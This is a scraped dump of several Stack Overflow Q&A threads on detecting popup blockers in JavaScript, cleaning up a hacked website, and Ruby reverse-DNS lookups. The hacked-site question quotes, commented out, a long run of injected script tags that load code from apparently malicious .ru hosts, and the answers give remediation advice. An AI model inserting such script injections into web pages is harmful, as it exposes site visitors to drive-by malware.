[ { "answer_id": 2917, "author": "omar", "author_id": 453, "author_profile": "https://Stackoverflow.com/users/453", "pm_score": 9, "selected": true, "text": "<p>If you use JavaScript to open the popup, you can use something like this:</p>\n\n<pre><code>var newWin = window.open(url); \n\nif(!newWin || newWin.closed || typeof newWin.closed=='undefined') \n{ \n //POPUP BLOCKED\n}\n</code></pre>\n" }, { "answer_id": 13652829, "author": "Kevin B", "author_id": 886103, "author_profile": "https://Stackoverflow.com/users/886103", "pm_score": 5, "selected": false, "text": "<p>Update: \nPopups exist from really ancient times. The initial idea was to show another content without closing the main window. As of now, there are other ways to do that: JavaScript is able to send requests for server, so popups are rarely used. But sometimes they are still handy.</p>\n\n<p>In the past evil sites abused popups a lot. A bad page could open tons of popup windows with ads. So now most browsers try to block popups and protect the user.</p>\n\n<p>Most browsers block popups if they are called outside of user-triggered event handlers like onclick.</p>\n\n<p>If you think about it, that’s a bit tricky. If the code is directly in an onclick handler, then that’s easy. But what is the popup opens in setTimeout?</p>\n\n<p>Try this code:</p>\n\n<pre><code> // open after 3 seconds\nsetTimeout(() =&gt; window.open('http://google.com'), 3000);\n</code></pre>\n\n<p>The popup opens in Chrome, but gets blocked in Firefox.</p>\n\n<p>…And this works in Firefox too:</p>\n\n<pre><code> // open after 1 seconds\nsetTimeout(() =&gt; window.open('http://google.com'), 1000);\n</code></pre>\n\n<p>The difference is that Firefox treats a timeout of 2000ms or less are acceptable, but after it – removes the “trust”, assuming that now it’s “outside of the user action”. So the first one is blocked, and the second one is not.</p>\n\n<hr>\n\n<p>Original answer which was current 2012:</p>\n\n<blockquote>\n <p>This solution for popup blocker checking has been tested in FF (v11),\n Safari (v6), Chrome (v23.0.127.95) &amp; IE (v7 &amp; v9). Update the\n displayError function to handle the error message as you see fit.</p>\n\n<pre><code>var popupBlockerChecker = {\n check: function(popup_window){\n var scope = this;\n if (popup_window) {\n if(/chrome/.test(navigator.userAgent.toLowerCase())){\n setTimeout(function () {\n scope.is_popup_blocked(scope, popup_window);\n },200);\n }else{\n popup_window.onload = function () {\n scope.is_popup_blocked(scope, popup_window);\n };\n }\n } else {\n scope.displayError();\n }\n },\n is_popup_blocked: function(scope, popup_window){\n if ((popup_window.innerHeight &gt; 0)==false){ \n scope.displayError();\n }\n },\n displayError: function(){\n alert(\"Popup Blocker is enabled! Please add this site to your exception list.\");\n }\n};\n</code></pre>\n \n <p>Usage:</p>\n\n<pre><code>var popup = window.open(\"http://www.google.ca\", '_blank');\npopupBlockerChecker.check(popup);\n</code></pre>\n</blockquote>\n\n<p>Hope this helps! :)</p>\n" }, { "answer_id": 27725432, "author": "DanielB", "author_id": 4409047, "author_profile": "https://Stackoverflow.com/users/4409047", "pm_score": 6, "selected": false, "text": "<p>I tried a number of the examples above, but I could not get them to work with Chrome. This simple approach seems to work with Chrome 39, Firefox 34, Safari 5.1.7, and IE 11. Here is the snippet of code from our JS library.</p>\n\n<pre><code>openPopUp: function(urlToOpen) {\n var popup_window=window.open(urlToOpen,\"myWindow\",\"toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=yes, resizable=yes, copyhistory=yes, width=400, height=400\"); \n try {\n popup_window.focus(); \n } catch (e) {\n alert(\"Pop-up Blocker is enabled! Please add this site to your exception list.\");\n }\n}\n</code></pre>\n" }, { "answer_id": 35663167, "author": "UncaAlby", "author_id": 1411061, "author_profile": "https://Stackoverflow.com/users/1411061", "pm_score": 4, "selected": false, "text": "<p>One \"solution\" that will <em>always</em> work regardless of browser company or version is to simply put a warning message on the screen, somewhere close to the control that will create a pop-up, that politely warns the user that the action requires a pop-up and to please enable them for the site.</p>\n\n<p>I know it's not fancy or anything, but it can't get any simpler and only requires about 5 minutes testing, then you can move on to other nightmares.</p>\n\n<p>Once the user has allowed pop-ups for your site, it would also be considerate if you don't overdo the pop-ups. The last thing you want to do is annoy your visitors.</p>\n" }, { "answer_id": 48521529, "author": "Michael Giovanni Pumo", "author_id": 695749, "author_profile": "https://Stackoverflow.com/users/695749", "pm_score": 1, "selected": false, "text": "<p>I've tried lots of solutions, but the only one I could come up with that also worked with uBlock Origin, was by utilising a timeout to check the closed status of the popup.</p>\n\n<pre class=\"lang-js prettyprint-override\"><code>function popup (url, width, height) {\n const left = (window.screen.width / 2) - (width / 2)\n const top = (window.screen.height / 2) - (height / 2)\n let opener = window.open(url, '', `menubar=no, toolbar=no, status=no, resizable=yes, scrollbars=yes, width=${width},height=${height},top=${top},left=${left}`)\n\n window.setTimeout(() =&gt; {\n if (!opener || opener.closed || typeof opener.closed === 'undefined') {\n console.log('Not allowed...') // Do something here.\n }\n }, 1000)\n}\n</code></pre>\n\n<p>Obviously this is a hack; like all solutions to this problem.</p>\n\n<p>You need to provide enough time in your setTimeout to account for the initial opening and closing, so it's never going to be thoroughly accurate. It will be a position of trial and error.</p>\n\n<p>Add this to your list of attempts.</p>\n" }, { "answer_id": 50587436, "author": "Yash Bora", "author_id": 9194867, "author_profile": "https://Stackoverflow.com/users/9194867", "pm_score": -1, "selected": false, "text": "<p>By using onbeforeunload event we can check as follows</p>\n\n<pre><code> function popup()\n {\n var chk=false;\n var win1=window.open();\n win1.onbeforeunload=()=&gt;{\n var win2=window.open();\n win2.onbeforeunload=()=&gt;{\n chk=true;\n };\n win2.close();\n };\n win1.close();\n return chk;\n }\n</code></pre>\n\n<p>it will open 2 black windows in background</p>\n\n<p>the function returns boolean value.</p>\n" }, { "answer_id": 54898902, "author": "wonsuc", "author_id": 4729203, "author_profile": "https://Stackoverflow.com/users/4729203", "pm_score": 1, "selected": false, "text": "<p>I combined @Kevin B and @DanielB's solutions.<br>\nThis is much simpler.</p>\n\n<pre><code>var isPopupBlockerActivated = function(popupWindow) {\n if (popupWindow) {\n if (/chrome/.test(navigator.userAgent.toLowerCase())) {\n try {\n popupWindow.focus();\n } catch (e) {\n return true;\n }\n } else {\n popupWindow.onload = function() {\n return (popupWindow.innerHeight &gt; 0) === false;\n };\n }\n } else {\n return true;\n }\n return false;\n};\n</code></pre>\n\n<p>Usage: </p>\n\n<pre><code>var popup = window.open('https://www.google.com', '_blank');\nif (isPopupBlockerActivated(popup)) {\n // Do what you want.\n}\n</code></pre>\n" }, { "answer_id": 59999198, "author": "Lalit Umbarkar", "author_id": 3983039, "author_profile": "https://Stackoverflow.com/users/3983039", "pm_score": 1, "selected": false, "text": "<p>A simple approach <strong>if you own the child code</strong> as well, would be to create a simple variable in its html as below:</p>\n\n<pre class=\"lang-html prettyprint-override\"><code> &lt;script&gt;\n var magicNumber = 49;\n &lt;/script&gt;\n</code></pre>\n\n<p>And then check its existence from parent something similar to following:</p>\n\n<pre class=\"lang-js prettyprint-override\"><code> // Create the window with login URL.\n let openedWindow = window.open(URL_HERE);\n\n // Check this magic number after some time, if it exists then your window exists\n setTimeout(() =&gt; {\n if (openedWindow[\"magicNumber\"] !== 32) {\n console.error(\"Window open was blocked\");\n }\n }, 1500);\n\n</code></pre>\n\n<p>We wait for some time to make sure that webpage has been loaded, and check its existence.\nObviously, if the window did not load after 1500ms then the variable would still be <code>undefined</code>. </p>\n" }, { "answer_id": 73744911, "author": "vladanPro", "author_id": 617934, "author_profile": "https://Stackoverflow.com/users/617934", "pm_score": 0, "selected": false, "text": "<p>For some popup blockers this don't work but i use it as basic solution and add try {} catch</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>try {\n const newWindow = window.open(url, '_blank');\n if (!newWindow || newWindow.closed || typeof newWindow.closed == 'undefined') {\n return null;\n }\n\n (newWindow as Window).window.focus();\n newWindow.addEventListener('load', function () {\n console.info('Please allow popups for this website')\n })\n return newWindow;\n } catch (e) {\n return null;\n }</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>This will try to call addEventListaner function but if popup is not open then it will break and go to catch, then ask if its object or null and run rest of code.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2914", "https://Stackoverflow.com", "https://Stackoverflow.com/users/434/" ]
Occasionally, I've come across a webpage that tries to pop open a new window (for user input, or something important), but the popup blocker prevents this from happening. What methods can the calling window use to make sure the new window launched properly?
If you use JavaScript to open the popup, you can use something like this: ``` var newWin = window.open(url); if(!newWin || newWin.closed || typeof newWin.closed=='undefined') { //POPUP BLOCKED } ```
2,970
<p>My dad called me today and said people going to his website were getting 168 viruses trying to download to their computers. He isn't technical at all, and built the whole thing with a WYSIWYG editor.</p> <p>I popped his site open and viewed the source, and there was a line of Javascript includes at the bottom of the source right before the closing HTML tag. They included this file (among many others): <a href="http://www.98hs.ru/js.js" rel="noreferrer">http://www.98hs.ru/js.js</a> &lt;-- <strong>TURN OFF JAVASCRIPT BEFORE YOU GO TO THAT URL.</strong></p> <p>So I commented it out for now. It turns out his FTP password was a plain dictionary word six letters long, so we think that's how it got hacked. We've changed his password to an 8+ digit non-word string (he wouldn't go for a passphrase since he is a hunt-n-peck typer).</p> <p>I did a <a href="http://whois.domaintools.com/98hs.ru" rel="noreferrer">whois on 98hs.ru</a> and found it is hosted from a server in Chile. There is actually an e-mail address associated with it too, but I seriously doubt this person is the culprit. Probably just some other site that got hacked...</p> <p>I have no idea what to do at this point though as I've never dealt with this sort of thing before. Anyone have any suggestions?</p> <p>He was using plain jane un-secured ftp through webhost4life.com. I don't even see a way to <em>do</em> sftp on their site. I'm thinking his username and password got intercepted?</p> <p><strong>So, to make this more relevant to the community, what are the steps you should take/best practices you should follow to protect your website from getting hacked?</strong></p> <p>For the record, here is the line of code that "magically" got added to his file (and isn't in his file on his computer -- I've left it commented out just to make absolute sure it won't do anything on this page, although I'm sure Jeff would guard against this):</p> <pre><code>&lt;!--script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script--&gt; </code></pre>
[ { "answer_id": 2973, "author": "Justin Standard", "author_id": 92, "author_profile": "https://Stackoverflow.com/users/92", "pm_score": 2, "selected": false, "text": "<p>With a six word character password, he may have been brute forced. That is more likely than his ftp being intercepted, but it could be that too.</p>\n\n<p>Start with a stronger password. (8 characters is still fairly weak)</p>\n\n<p>See if this link to an internet <a href=\"http://blog.modsecurity.org/2008/01/is-your-website.html\" rel=\"nofollow noreferrer\">security blog</a> is helpful.</p>\n" }, { "answer_id": 2976, "author": "dragonmantank", "author_id": 204, "author_profile": "https://Stackoverflow.com/users/204", "pm_score": 5, "selected": true, "text": "<p>Try and gather as much information as you can. See if the host can give you a log showing all the FTP connections that were made to your account. You can use those to see if it was even an FTP connection that was used to make the change and possibly get an IP address.</p>\n\n<p>If you're using a prepacked software like Wordpress, Drupal, or anything else that you didn't code there may be vulnerabilities in upload code that allows for this sort of modification. If it is custom built, double check any places where you allow users to upload files or modify existing files.</p>\n\n<p>The second thing would be to take a dump of the site as-is and check everything for other modifications. It may just be one single modification they made, but if they got in via FTP who knows what else is up there.</p>\n\n<p>Revert your site back to a known good status and, if need be, upgrade to the latest version.</p>\n\n<p>There is a level of return you have to take into account too. Is the damage worth trying to track the person down or is this something where you just live and learn and use stronger passwords?</p>\n" }, { "answer_id": 2978, "author": "Kev", "author_id": 419, "author_profile": "https://Stackoverflow.com/users/419", "pm_score": 2, "selected": false, "text": "<p>Is the site just plain static HTML? i.e. he hasn't managed to code himself an upload page that permits anyone driving by to upload compromised scripts/pages?</p>\n\n<p>Why not ask webhost4life if they have any FTP logs available and report the issue to them. You never know, they may be quite receptive and find out for you exactly what happened? </p>\n\n<p>I work for a shared hoster and we always welcome reports such as these and can usually pinpoint the exact vector of attack based and advise as to where the customer went wrong.</p>\n" }, { "answer_id": 3055, "author": "Mark Harrison", "author_id": 116, "author_profile": "https://Stackoverflow.com/users/116", "pm_score": 3, "selected": false, "text": "<p>You mention your Dad was using a website publishing tool.</p>\n\n<p>If the publishing tool publishes from his computer to the server, it may be the case that his local files are clean, and that he just needs to republish to the server.</p>\n\n<p>He should see if there's a different login method to his server than plain FTP, though... that's not very secure because it sends his password as clear-text over the internet.</p>\n" }, { "answer_id": 5448, "author": "Dillie-O", "author_id": 71, "author_profile": "https://Stackoverflow.com/users/71", "pm_score": 4, "selected": false, "text": "<p>I know this is a little late in the game, but the URL mentioned for the JavaScript is mentioned in a list of sites known to have been part of the ASPRox bot resurgence that started up in June (at least that's when we were getting flagged with it). Some details about it are mentioned below:</p>\n\n<p><a href=\"http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx\" rel=\"nofollow noreferrer\">http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx</a> </p>\n\n<p>The nasty thing about this is that effectively every varchar type field in the database is \"infected\" to spit out a reference to this URL, in which the browser gets a tiny iframe that turns it into a bot. A basic SQL fix for this can be found here:</p>\n\n<p><a href=\"http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx\" rel=\"nofollow noreferrer\">http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx</a></p>\n\n<p>The scary thing though is that the virus looks to the system tables for values to infect and a lot of shared hosting plans also share the database space for their clients. So most likely it wasn't even your dad's site that was infected, but somebody else's site within his hosting cluster that wrote some poor code and opened the door to SQL Injection attack.</p>\n\n<p>If he hasn't done so yet, I'd send an URGENT e-mail to their host and give them a link to that SQL code to fix the entire system. You can fix your own affected database tables, but most likely the bots that are doing the infection are going to pass right through that hole again and infect the whole lot.</p>\n\n<p>Hopefully this gives you some more info to work with.</p>\n\n<p>EDIT: One more quick thought, if he's using one of the hosts online design tools for building his website, all of that content is probably sitting in a column and was infected that way.</p>\n" }, { "answer_id": 13221, "author": "Hrvoje Hudo", "author_id": 1407, "author_profile": "https://Stackoverflow.com/users/1407", "pm_score": -1, "selected": false, "text": "<p>We had been hacked from same guys apparently! Or bots, in our case. They used SQL injection in URL on some old classic ASP sites that nobody maintain anymore. We found attacking IPs and blocked them in IIS. Now we must refactor all old ASP.\nSo, my advice is to take a look at IIS logs first, to find if problem is in your site's code or server configuration.</p>\n" }, { "answer_id": 141673, "author": "Joe Phillips", "author_id": 20471, "author_profile": "https://Stackoverflow.com/users/20471", "pm_score": 0, "selected": false, "text": "<p>Unplug the webserver without shutting it down to avoid shutdown scripts. Analyze the hard disk through another computer as a data drive and see if you can determine the culprit through log files and things of that nature. Verify that the code is safe and then restore it from a backup.</p>\n" }, { "answer_id": 141719, "author": "The Brawny Man", "author_id": 11936, "author_profile": "https://Stackoverflow.com/users/11936", "pm_score": 0, "selected": false, "text": "<p>This happened to a client of mine recently that was hosted on ipower. I'm not sure if your hosting environment was Apache based, but if it was be sure to double check for .htaccess files that you did not create, particularly above the webroot and inside of image directories, as they tend to inject some nastiness there as well (they were redirecting people depending on where they came from in the refer). Also check any that you did create for code that you did not write.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/58/" ]
My dad called me today and said people going to his website were getting 168 viruses trying to download to their computers. He isn't technical at all, and built the whole thing with a WYSIWYG editor. I popped his site open and viewed the source, and there was a line of Javascript includes at the bottom of the source right before the closing HTML tag. They included this file (among many others): <http://www.98hs.ru/js.js> <-- **TURN OFF JAVASCRIPT BEFORE YOU GO TO THAT URL.** So I commented it out for now. It turns out his FTP password was a plain dictionary word six letters long, so we think that's how it got hacked. We've changed his password to an 8+ digit non-word string (he wouldn't go for a passphrase since he is a hunt-n-peck typer). I did a [whois on 98hs.ru](http://whois.domaintools.com/98hs.ru) and found it is hosted from a server in Chile. There is actually an e-mail address associated with it too, but I seriously doubt this person is the culprit. Probably just some other site that got hacked... I have no idea what to do at this point though as I've never dealt with this sort of thing before. Anyone have any suggestions? He was using plain jane un-secured ftp through webhost4life.com. I don't even see a way to *do* sftp on their site. I'm thinking his username and password got intercepted? **So, to make this more relevant to the community, what are the steps you should take/best practices you should follow to protect your website from getting hacked?** For the record, here is the line of code that "magically" got added to his file (and isn't in his file on his computer -- I've left it commented out just to make absolute sure it won't do anything on this page, although I'm sure Jeff would guard against this): ``` <!--script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.98hs.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.porv.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script><script src=http://www.uhwc.ru/js.js></script--> ```
Try and gather as much information as you can. See if the host can give you a log showing all the FTP connections that were made to your account. You can use those to see if it was even an FTP connection that was used to make the change and possibly get an IP address. If you're using a prepacked software like Wordpress, Drupal, or anything else that you didn't code there may be vulnerabilities in upload code that allows for this sort of modification. If it is custom built, double check any places where you allow users to upload files or modify existing files. The second thing would be to take a dump of the site as-is and check everything for other modifications. It may just be one single modification they made, but if they got in via FTP who knows what else is up there. Revert your site back to a known good status and, if need be, upgrade to the latest version. There is a level of return you have to take into account too. Is the damage worth trying to track the person down or is this something where you just live and learn and use stronger passwords?
2,993
<p>I'm in an environment with a lot of computers that haven't been properly inventoried. Basically, no one knows which IP goes with which mac address and which hostname. So I wrote the following:</p> <pre><code># This script goes down the entire IP range and attempts to # retrieve the Hostname and mac address and outputs them # into a file. Yay! require "socket" TwoOctets = "10.26" def computer_exists?(computerip) system("ping -c 1 -W 1 #{computerip}") end def append_to_file(line) file = File.open("output.txt", "a") file.puts(line) file.close end def getInfo(current_ip) begin if computer_exists?(current_ip) arp_output = `arp -v #{current_ip}` mac_addr = arp_output.to_s.match(/..:..:..:..:..:../) host_name = Socket.gethostbyname(current_ip) append_to_file("#{host_name[0]} - #{current_ip} - #{mac_addr}\n") end rescue SocketError =&gt; mySocketError append_to_file("unknown - #{current_ip} - #{mac_addr}") end end (6..8).each do |i| case i when 6 for j in (1..190) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end when 7 for j in (1..255) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end when 8 for j in (1..52) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end end end </code></pre> <p>Everything works except it does not find a Reverse DNS.</p> <p>Sample output that I'm getting is this:</p> <pre><code>10.26.6.12 - 10.26.6.12 - 00:11:11:9B:13:9F 10.26.6.17 - 10.26.6.17 - 08:00:69:9A:97:C3 10.26.6.18 - 10.26.6.18 - 08:00:69:93:2C:E2 </code></pre> <p>If I do <code>nslookup 10.26.6.12</code> then I get the correct reverse DNS so that shows that my machine is seeing the DNS server.</p> <p>I have tried <code>Socket.gethostbyname</code>, <code>gethostbyaddr</code>, but it doesn't work.</p> <p>Any guidance will be much appreciated.</p>
[ { "answer_id": 3012, "author": "Ecton", "author_id": 457, "author_profile": "https://Stackoverflow.com/users/457", "pm_score": 3, "selected": false, "text": "<p>I would check out <code>getaddrinfo</code>. If you replace the line:</p>\n\n<pre><code>host_name = Socket.gethostbyname(current_ip)\n</code></pre>\n\n<p>with:</p>\n\n<pre><code>host_name = Socket.getaddrinfo(current_ip, 0, Socket::AF_UNSPEC, Socket::SOCK_STREAM, nil, Socket::AI_CANONNAME)[0][1]\n</code></pre>\n\n<p>The <code>getaddrinfo</code> function returns an array of arrays. You can read more about it at:</p>\n\n<p><a href=\"http://www.ruby-doc.org/stdlib/libdoc/socket/rdoc/classes/Socket.html#M004531\" rel=\"nofollow noreferrer\">Ruby Socket Docs</a></p>\n" }, { "answer_id": 3306, "author": "garg", "author_id": 155, "author_profile": "https://Stackoverflow.com/users/155", "pm_score": 2, "selected": false, "text": "<p>This also works:</p>\n\n<pre><code>host_name = Socket.getaddrinfo(current_ip,nil)\nappend_to_file(\"#{host_name[0][2]} - #{current_ip} - #{mac_addr}\\n\")\n</code></pre>\n\n<p>I'm not sure why <code>gethostbyaddr</code> didn't also work.</p>\n" }, { "answer_id": 5544777, "author": "gertas", "author_id": 446210, "author_profile": "https://Stackoverflow.com/users/446210", "pm_score": 6, "selected": true, "text": "<p>Today I also needed reverse DNS lookup and I've found very simple standard solution:</p>\n\n<pre><code>require 'resolv'\nhost_name = Resolv.getname(ip_address_here)\n</code></pre>\n\n<p>It seems it uses timeout which helps in rough cases.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/2993", "https://Stackoverflow.com", "https://Stackoverflow.com/users/155/" ]
I'm in an environment with a lot of computers that haven't been properly inventoried. Basically, no one knows which IP goes with which mac address and which hostname. So I wrote the following: ``` # This script goes down the entire IP range and attempts to # retrieve the Hostname and mac address and outputs them # into a file. Yay! require "socket" TwoOctets = "10.26" def computer_exists?(computerip) system("ping -c 1 -W 1 #{computerip}") end def append_to_file(line) file = File.open("output.txt", "a") file.puts(line) file.close end def getInfo(current_ip) begin if computer_exists?(current_ip) arp_output = `arp -v #{current_ip}` mac_addr = arp_output.to_s.match(/..:..:..:..:..:../) host_name = Socket.gethostbyname(current_ip) append_to_file("#{host_name[0]} - #{current_ip} - #{mac_addr}\n") end rescue SocketError => mySocketError append_to_file("unknown - #{current_ip} - #{mac_addr}") end end (6..8).each do |i| case i when 6 for j in (1..190) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end when 7 for j in (1..255) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end when 8 for j in (1..52) current_ip = "#{TwoOctets}.#{i}.#{j}" getInfo(current_ip) end end end ``` Everything works except it does not find a Reverse DNS. Sample output that I'm getting is this: ``` 10.26.6.12 - 10.26.6.12 - 00:11:11:9B:13:9F 10.26.6.17 - 